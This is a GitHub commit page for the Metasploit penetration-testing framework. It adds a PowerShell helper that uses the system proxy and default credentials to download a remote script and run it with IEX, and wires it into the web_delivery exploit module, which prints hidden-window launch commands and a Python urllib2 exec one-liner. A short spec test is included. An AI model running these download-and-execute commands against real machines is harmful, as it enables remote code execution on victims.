Skip to content

Commit 30d2a3f

Browse files
author
Brent Cook
committed
Land rapid7#5999, teach PSH web delivery to use a proxy
2 parents 1c880b9 + 66c9222 commit 30d2a3f

File tree

3 files changed

+27
-1
lines changed

3 files changed

+27
-1
lines changed

lib/rex/powershell/psh_methods.rb

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -72,6 +72,22 @@ def self.get_last_login(user)
7272
def self.ignore_ssl_certificate
7373
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
7474
end
75+
76+
#
77+
# Use the default system web proxy and credentials to download a URL
78+
# as a string and execute the contents as PowerShell
79+
#
80+
# @param url [String] string to download
81+
#
82+
# @return [String] PowerShell code to download a URL
83+
def self.proxy_aware_download_and_exec_string(url)
84+
var = Rex::Text.rand_text_alpha(1)
85+
cmd = "$#{var}=new-object net.webclient;"
86+
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
87+
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
88+
cmd << "IEX $#{var}.downloadstring('#{url}');"
89+
cmd
90+
end
7591
end
7692
end
7793
end

modules/exploits/multi/script/web_delivery.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,8 @@ def primer
8989
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
9090
when 'PSH'
9191
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
92-
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
92+
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
93+
download_and_run = "#{ignore_cert}#{download_string}"
9394
print_line generate_psh_command_line(
9495
noprofile: true,
9596
windowstyle: 'hidden',

spec/lib/rex/powershell/psh_methods_spec.rb

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,5 +40,14 @@
4040
script.include?('Get-QADComputer').should be_truthy
4141
end
4242
end
43+
describe "::proxy_aware_download_and_exec_string" do
44+
it 'should return some powershell' do
45+
url = 'http://blah'
46+
script = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
47+
script.should be
48+
script.include?(url).should be_truthy
49+
script.downcase.include?('downloadstring').should be_truthy
50+
end
51+
end
4352
end
4453

0 commit comments

Comments
 (0)